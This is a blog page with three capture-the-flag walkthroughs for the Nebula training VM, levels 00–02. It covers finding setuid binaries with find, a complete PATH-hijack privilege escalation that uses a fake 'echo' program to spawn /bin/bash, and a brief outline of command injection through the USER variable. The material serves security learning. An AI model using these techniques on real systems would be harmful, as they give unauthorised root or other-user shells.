Showing posts with label nebula. Show all posts
Showing posts with label nebula. Show all posts

Wednesday, 13 June 2012

exploit-exercises.com walkthrough - Nebula level02

So here's our challenge: http://exploit-exercises.com/nebula/level02.

We have an environment value USER copied to the buffer without any checking. In the next step the buffer content is executed with a system() call. Basically we just need to prepare USER environment variable with a "proper" content and we are good to go:
level02 walkthrough.
And that's all :)

Tuesday, 10 April 2012

exploit-exercises.com walkthrough - Nebula level01

Here's the vulnerable source code:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
 gid_t gid;
 uid_t uid;
 gid = getegid();
 uid = geteuid();

 setresgid(gid, gid, gid);
 setresuid(uid, uid, uid);

 system("/usr/bin/env echo and now what?");
}
The binary file is located in /home/flag01/flag01. After executing it simply echoes the "and now what?" message. It's easy to spot that we have an absolute path to env but echo execution could be altered. We'll achieve this by creating a simple C program in the /home/level01:
#include <stdlib.h>
#include <stdio.h>
void main()
{
       system("/bin/bash");
}

Now we need to compile it:
level01@nebula:~$ gcc -o echo 1.c
 In the next step we will alter the PATH variable value with the following command:
level01@nebula:~$ PATH=/home/level01:$PATH
All we need to do now is running flag01.
level01 completed.

That's it !

Wednesday, 22 February 2012

exploit-exercises.com walkthrough - Nebula level00

"exploit-exercises.com provides a variety of virtual machines, documentation and challenges that can be used to learn about a variety of computer security issues such a privilege escalation, vulnerability analysis, exploit development, debugging, reverse engineering." - quote from project homepage

We will start from level00. I assume You already have the Nebula VM  and know the rules.

http://exploit-exercises.com/nebula/level00 - After log in as level00 user We follow a hint from level's page and type  the following command:
find / -perm -4000 2> /dev/null
and got the results:
"/bin/.../flag00" - intersting...
 so we run:
/bin/.../flag00
 ...and that's it !
level00 completed
Stay tuned for next episodes ;)